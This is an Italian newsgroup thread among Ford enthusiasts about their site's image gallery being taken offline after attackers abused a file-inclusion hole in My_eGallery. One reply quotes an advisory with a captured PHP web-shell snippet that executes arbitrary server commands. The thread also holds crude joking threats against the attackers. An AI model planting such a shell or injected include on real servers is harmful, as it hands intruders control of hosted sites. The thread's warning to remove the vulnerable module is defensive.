Newsgroup: it.discussioni.auto.ford
Titolo: GALLERY TEMPORANEAMENTE DISATTIVATA

05 apr: su segnalazione di Manfry ho dovuto temporaneamente disattivare la
"Galleria d'immagini" perchè un gruppo di hacker brasiliani ha preso di mira
il nostro sito. In attesa di risolvere il problema vi chiedo di avere
pazienza. Scusate il disagio.
Max
--
Max Etere
m...@maxetere.it
http://www.maxetere.it
FoFi Techno 1.2 16V MY96, 3 porte, Jewel Green
FoFo Ambiente 1.8 TDCi 100 CV, 3 porte, Blu Executive, cerchi da 16"
-------------------------------------------------------------------------------------------------------------------------
Questo è un gruppo moderato: I messaggi possono apparire in ritardo (max 24 ore)
Idaf sul web: 
www.idaf.it
 
Usa al meglio questo newsgroup, leggi le domande frequenti su idaf!
http://www.idaf.it/web/modules.php?name=FAQ
                                      *gx
-------------------------------------------------------------------------------------------------------------------------

Organizziamo un raduno o una spedizione punitiva in Brasile per vendicarci
come si deve.
Cacaooo meravigliaoooo
-- 
Alba , Focus Wrc
 LC,23,105
 Togli No Spamm per risondere in email
 Icq Number 170745033
 
http://www.mortaccitua.com
 a breve online


 pazienza. ...
...... Invidia per le foto?
Almeno per un po ... non devo cancellarne, non ne arrivano :-))
-- 
Piero - ®
- - - - - - - - - - - - - - - - - - - - - - - -
FoFo Ghia-Zetec-St  Sw TDCi 09/02
Specchi a Chiusura Elettrica
Adesivata IDAF
Polvere di Luna - Xeno Light
/////ALPINE, Focal, Audison, Hertz
www.idaf.it/web/index.php
S. Giov. Pers. (Bologna)
Fiat? No grazie, sono allergico ...
- - - - - - - - - - - - - - - - - - - - - - - -


 "Galleria d'immagini" perch=E8 un gruppo di hacker brasiliani ha preso di=
 mira
Purtroppo questi simpatici si erano fatti le ossa sul mio sito qualche=20
mese fa e hanno continuato sfruttando una voragine grossa come=20
l'universo presente nel modulo della galleria. Purtroppo ieri (domenica)=20
sfruttando questo buco (ma questo dato non =E8 confermato ma l'ho supposto=
=20
in base alla mia esperienza e in base allo script che sti scemi hanno=20
installato sul mio sito) i simpatici hanno buttato gi=F9 un intero server=
=20
di Aruba su cui non c'era IDAF...(ma c'era come sempre il mio=20
sito...eccheccazz...) pertanto onde evitare di far crollare altri server=20
=E8 bene che tutti quelli che hanno tale modulo lo rimuovano ASAP. Questo=
=20
purtroppo non mette al riparo IDAF da eventuali danni di questi=20
"hacker" ma per lo meno non contribuir=E0 a facilitare la vista a sti=20
cretini. Cmq non vi preoccupate che tutto torner=E0 normale in pochissimo=
=20
tempo.
--=20
Ciao :-)
Manfry (29,90,RM)
ICQ: 8278363
http://www.manfry.net
-------------------------------------------------------------------------------------------------------------------------
Questo è un gruppo moderato: I messaggi possono apparire in ritardo (max 24 ore)
Idaf sul web: 
www.idaf.it
 
Usa al meglio questo newsgroup, leggi le domande frequenti su idaf!
http://www.idaf.it/web/modules.php?name=FAQ
                                      *mb
-------------------------------------------------------------------------------------------------------------------------

 il nostro sito.
[semiOT]
sono curioso: in che modo hanno preso di mira il sito e quali potrebbero
essere gli eventuali danni?
Ciao.
--
Davide (28, 115, 75, AT)
Ford Focus Tdci Ghia Magnum Grey
Interni in pelle, cerchi MillemigliaEvo5 16",
Assetto ribassato Ford by Eibach Pro Kit
& Ford Fiesta Van Tddi
-------------------------------------------------------------------------------------------------------------------------
Questo è un gruppo moderato: I messaggi possono apparire in ritardo (max 24 ore)
Idaf sul web: 
www.idaf.it
 
Usa al meglio questo newsgroup, leggi le domande frequenti su idaf!
http://www.idaf.it/web/modules.php?name=FAQ
                                      *mb
-------------------------------------------------------------------------------------------------------------------------

 essere gli eventuali danni?
2. Exploit
----------
Any version of My_eGallery, prior to 3.1.1.g, is susceptible to this
vulnerability.
Certain php files have some parameters which are used in include=20
functions
not filtered.
An intruder can craft PHP code on their Web site and supply parameter to
My_eGallery so it actually includes malicious PHP code.
The following code was captured as being used in the wild (edited
intentionally):
<?
  // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt )
  if (isset($chdir)) @chdir($chdir);
  ob_start();
  execute("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm=20
/tmp/cmdtemp");
  $output =3D ob_get_contents();
  ob_end_clean();
  print_output();
?>
This allows execution of any command on the server with My_eGallery,=20
under
the privileges of the Web server (usually apache or httpd).
Quindi grazie a My eGallery =E8 possibile entrare nel server e fare il=20
proprio porco comodo...cosa che =E8 successa con il server webx6 di Aruba=
=20
con la conseguenza del blocco e modifica di tutti i siti ospitati su=20
quel server...e con soluzione geniale di Aruba che ha fatto un casino=20
pazzesco.
--=20
Ciao :-)
Manfry (29,90,RM)
ICQ: 8278363
http://www.manfry.net
-------------------------------------------------------------------------------------------------------------------------


 essere gli eventuali danni?
Ci clonano le macchine!!!
:-)))
___________________________________________
Vienitibastono - Sergio (24, 115, PV)
Ford Focus TDCi 115cv Ghia, Panther black
Frecce bianche, assetto Eibach, gomme 205/50 r16
-- IDAF member dal 2001 ---
http://www.vienitibastono.canaglia.it


 come si deve.
a 'sti coglioncelli che non hanno un caXXo di meglio da fare che bucare i
siti in giro per la rete darei la pena del taglio del pene...
ovviamente il boia sarei io
--
Max Etere
m...@maxetere.it
http://www.maxetere.it
FoFi Techno 1.2 16V MY96, 3 porte, Jewel Green
FoFo Ambiente 1.8 TDCi 100 CV, 3 porte, Blu Executive, cerchi da 16"
-------------------------------------------------------------------------------------------------------------------------
Questo è un gruppo moderato: I messaggi possono apparire in ritardo (max 24 ore)
Idaf sul web: 
www.idaf.it
 
Usa al meglio questo newsgroup, leggi le domande frequenti su idaf!
http://www.idaf.it/web/modules.php?name=FAQ
                                      *mb
-------------------------------------------------------------------------------------------------------------------------

 essere gli eventuali danni?
sfruttano una caratteristica del modulo My_egallery per introdurre un loro
script che consente il controllo completo del server sul quale risiede il
sito... è un danno enorme se pensi che un server contiene centinaia (se non
migliaia) di siti...
--
Max Etere
m...@maxetere.it
http://www.maxetere.it
FoFi Techno 1.2 16V MY96, 3 porte, Jewel Green
FoFo Ambiente 1.8 TDCi 100 CV, 3 porte, Blu Executive, cerchi da 16"
-------------------------------------------------------------------------------------------------------------------------


 Max Etere
Ma come ti piace!!...... ;-PPP
--
Poi che ci fai -- hot-dog ----- o ci giochi come piace a te
 ;-))
--
Partecipa al Raduno Romano del 23.apr.2004.
    Saluti
*-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-*
  Sebastiano (45,115,RM)
  Focus SW 18 TDCI Tonic
*-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-*
-------------------------------------------------------------------------------------------------------------------------
Questo č un gruppo moderato: I messaggi possono apparire in ritardo (max 24 ore)


> Poi che ci fai -- hot-dog ----- o ci giochi come piace a te
questo è un segreto squisitamente mio...
--
Max Etere
m...@maxetere.it
http://www.maxetere.it
FoFi Techno 1.2 16V MY96, 3 porte, Jewel Green
FoFo Ambiente 1.8 TDCi 100 CV, 3 porte, Blu Executive, cerchi da 16"
-------------------------------------------------------------------------------------------------------------------------
Questo è un gruppo moderato: I messaggi possono apparire in ritardo (max 24 ore)
Idaf sul web: 
www.idaf.it
 
Usa al meglio questo newsgroup, leggi le domande frequenti su idaf!
http://www.idaf.it/web/modules.php?name=FAQ
                                      *gx
-------------------------------------------------------------------------------------------------------------------------